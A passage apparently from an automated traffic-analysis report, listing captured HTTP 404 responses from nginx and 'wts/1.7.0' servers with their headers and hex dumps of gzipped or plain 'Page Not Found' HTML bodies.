22 73 74 30 22 20 64 3d 22 4d 36 32 33 2e 32 20 32 37 35 2e 32 73 38 33 2e 37 2d 32 38 20 31 37 39 2e 39 2d 32 38 20 31 39 36 2e 39 20 32 38 20 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:43:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:43:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:43:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Sep 2024 08:43:42 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cd104a-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateContent-Encoding: gzipStrict-Transport-Security: max-age=31536000Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 b5 5c c9 a5 8e 51 ca 7e 46 ba 8a b6 46 db 70 45 db b4 9d cc 29 45 e9 ed 55 a2 e0 c9 44 32 44 af 52 63 42 67 99 82 6d 6a a8 9f 28 da 56 c9 98 b8 ea da 93 4e 91 12 0e 17 71 aa 1f d4 5a a0 0a fc a0 4e c5 89 98 6c 0b 27 13 3d 20 5d b5 1d 4d aa 3a 6a 25 53 70 a8 7a 4d c2 6b 54 9a 34 e3 b6 19 7a 9a 54 2a d3 44 01 66 e1 d7 99 ca b4 78 9e 28 19 8e cb 40 4a 7c 09 64 25 66 57 32 81 4c c9 a0 a6 e6 52 36 5b 51 35 cd b0 26 32 00 01 8f 04 0e 7e 13 d6 b9 e1 c0 bc 6a 9a 3c 4c 77 b2 0c a4 cf 48 10 2e 53 0d 8b 3a e4 30 98 54 b0 19 b3 cb dc 96 c8 0f 37 dd 23 dc 33 e9 04 b5 b4 84 65 4b 74 ba a2 5a 9a 04 c0 2d 37 52 e8 03 3a 02 c2 dc 99 6c 98 60 08 12 ca 24 09 02 e8 85 00 99 0d 08 4d f3 9f 6c 28 8b ba 0a e9 87 4f 21 7f 35 e2 04 f0 94 25 5d 9c ea 68 fe 22 dc 03 f3 60 40 cd 98 86 75 2d ae 66 a6 0c d7 60 54 0b 4d 29 4a df c8 e8 a8 28 af 28 00 57 d1 ed 29 ea cc 62 a5 4a 1a 2d da 8e ca 0c db ca 58 b6 45 11 52 4f ce b6 cd a4 78 8a c3 e0 c2 ca 18 05 68 94 4c 45 24 93 bc 9e 0f 4b 0e 0d 85 35 a4 a7 0f 08 63 e5 04 c2 41 6d 00 71 21 7e 44 ab e7 80 56 aa 43 0b 93 a0 00 55 9f 9d d2 a1 8f 21 ac aa a1 31 3d 33 d0 db 1d c2 63 42 10 3b 2c a1 5e d0 48 75 13 f1 2b cb 43 0d 1a 30 c6 1c 5a 98 2c ea 94 91 8b 63 b1 78 d8 8f 91 fe 23 5d d0 30 bc e3 90 82 82 5a bc 36 e1 e0 30 80 2a e3 77 cf 0c f5 f7 7d 98 e2 ee 60 dd 51 8b cd 86 8c 70 2f 52 dd d9 8a 0d 89 42 be 1d 6a 02 f1 53 9c f3 44 47 b5 c6 b1 4f 11 a0 5d c0 b3 6d 7b 99 53 68 ff 70 a8 bc 7c a1 9e 5a a1 22 b3 c7 18 ec 40 27 95 a8 ab 22 27 3c 10 8d 42 ff 98 ae 64 d2 12 0b d8 4d 9f e9 ce 96 4c 5b 65 19 bc 19 10 2d 39 7c ce 40 88 98 8d 50 8b df 0c d4 7a d3 07 d4 b0 0a 01 a5 9a d1 0d 4d a3 16 57 83 31 07 77 af c2 7f 17 38 8a 24 f3 aa 2e c6 58 12 22 2a 1b 96 14 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateContent-Encoding: gzipStrict-Transport-Security: max-age=31536000Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 b5 5c c9 a5 8e 51 ca 7e 46 ba 8a b6 46 db 70 45 db b4 9d cc 29 45 e9 ed 55 a2 e0 c9 44 32 44 af 52 63 42 67 99 82 6d 6a a8 9f 28 da 56 c9 98 b8 ea da 93 4e 91 12 0e 17 71 aa 1f d4 5a a0 0a fc a0 4e c5 89 98 6c 0b 27 13 3d 20 5d b5 1d 4d aa 3a 6a 25 53 70 a8 7a 4d c2 6b 54 9a 34 e3 b6 19 7a 9a 54 2a d3 44 01 66 e1 d7 99 ca b4 78 9e 28 19 8e cb 40 4a 7c 09 64 25 66 57 32 81 4c c9 a0 a6 e6 52 36 5b 51 35 cd b0 26 32 00 01 8f 04 0e 7e 13 d6 b9 e1 c0 bc 6a 9a 3c 4c 77 b2 0c a4 cf 48 10 2e 53 0d 8b 3a e4 30 98 54 b0 19 b3 cb dc 96 c8 0f 37 dd 23 dc 33 e9 04 b5 b4 84 65 4b 74 ba a2 5a 9a 04 c0 2d 37 52 e8 03 3a 02 c2 dc 99 6c 98 60 08 12 ca 24 09 02 e8 85 00 99 0d 08 4d f3 9f 6c 28 8b ba 0a e9 87 4f 21 7f 35 e2 04 f0 94 25 5d 9c ea 68 fe 22 dc 03 f3 60 40 cd 98 86 75 2d ae 66 a6 0c d7 60 54 0b 4d 29 4a df c8 e8 a8 28 af 28 00 57 d1 ed 29 ea cc 62 a5 4a 1a 2d da 8e ca 0c db ca 58 b6 45 11 52 4f ce b6 cd a4 78 8a c3 e0 c2 ca 18 05 68 94 4c 45 24 93 bc 9e 0f 4b 0e 0d 85 35 a4 a7 0f 08 63 e5 04 c2 41 6d 00 71 21 7e 44 ab e7 80 56 aa 43 0b 93 a0 00 55 9f 9d d2 a1 8f 21 ac aa a1 31 3d 33 d0 db 1d c2 63 42 10 3b 2c a1 5e d0 48 75 13 f1 2b cb 43 0d 1a 30 c6 1c 5a 98 2c ea 94 91 8b 63 b1 78 d8 8f 91 fe 23 5d d0 30 bc e3 90 82 82 5a bc 36 e1 e0 30 80 2a e3 77 cf 0c f5 f7 7d 98 e2 ee 60 dd 51 8b cd 86 8c 70 2f 52 dd d9 8a 0d 89 42 be 1d 6a 02 f1 53 9c f3 44 47 b5 c6 b1 4f 11 a0 5d c0 b3 6d 7b 99 53 68 ff 70 a8 bc 7c a1 9e 5a a1 22 b3 c7 18 ec 40 27 95 a8 ab 22 27 3c 10 8d 42 ff 98 ae 64 d2 12 0b d8 4d 9f e9 ce 96 4c 5b 65 19 bc 19 10 2d 39 7c ce 40 88 98 8d 50 8b df 0c d4 7a d3 07 d4 b0 0a 01 a5 9a d1 0d 4d a3 16 57 83 31 07 77 af c2 7f 17 38 8a 24 f3 aa 2e c6 58 12 22 2a 1b 96 14 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateContent-Encoding: gzipStrict-Transport-Security: max-age=31536000Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 